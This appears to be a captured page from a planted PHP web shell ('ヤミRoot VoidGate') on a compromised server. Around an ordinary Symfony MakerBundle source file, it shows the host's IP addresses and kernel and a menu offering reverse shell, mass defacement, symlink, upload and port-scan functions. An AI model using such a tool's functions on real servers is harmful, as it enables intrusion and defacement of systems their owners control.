ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
maker-bundle
/
src
/
Util
/
Viewing: TemplateComponentGenerator.php
<?php /* * This file is part of the Symfony MakerBundle package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bundle\MakerBundle\Util; use ReflectionClass; use ReflectionException; /** * @author Jesse Rushlow <jr@rushlow.dev> * * @internal */ final class TemplateComponentGenerator { private $phpCompatUtil; public function __construct(PhpCompatUtil $phpCompatUtil) { $this->phpCompatUtil = $phpCompatUtil; } /** @legacy Annotation Support can be dropped w/ Symfony 6 LTS */ public function generateRouteForControllerMethod(string $routePath, string $routeName, array $methods = [], bool $indent = true, bool $trailingNewLine = true): string { if ($this->phpCompatUtil->canUseAttributes()) { $attribute = sprintf('%s#[Route(\'%s\', name: \'%s\'', $indent ? ' ' : null, $routePath, $routeName); if (!empty($methods)) { $attribute .= ', methods: ['; foreach ($methods as $method) { $attribute .= sprintf('\'%s\', ', $method); } $attribute = rtrim($attribute, ', '); $attribute .= ']'; } $attribute .= sprintf(')]%s', $trailingNewLine ? "\n" : null); return $attribute; } $annotation = sprintf('%s/**%s', $indent ? ' ' : null, "\n"); $annotation .= sprintf('%s * @Route("%s", name="%s"', $indent ? ' ' : null, $routePath, $routeName); if (!empty($methods)) { $annotation .= ', methods={'; foreach ($methods as $method) { $annotation .= sprintf('"%s", ', $method); } $annotation = rtrim($annotation, ', '); $annotation .= '}'; } $annotation .= sprintf(')%s', "\n"); $annotation .= sprintf('%s */%s', $indent ? ' ' : null, $trailingNewLine ? "\n" : null); return $annotation; } public function getPropertyType(ClassNameDetails $classNameDetails): ?string { if (!$this->phpCompatUtil->canUseTypedProperties()) { return null; } return sprintf('%s ', $classNameDetails->getShortName()); } /** * @throws ReflectionException */ public function repositoryHasAddRemoveMethods(string $repositoryFullClassName): bool { $reflectedComponents = new ReflectionClass($repositoryFullClassName); return $reflectedComponents->hasMethod('add') && $reflectedComponents->hasMethod('remove'); } }
Coded With 💗 by
0x6ick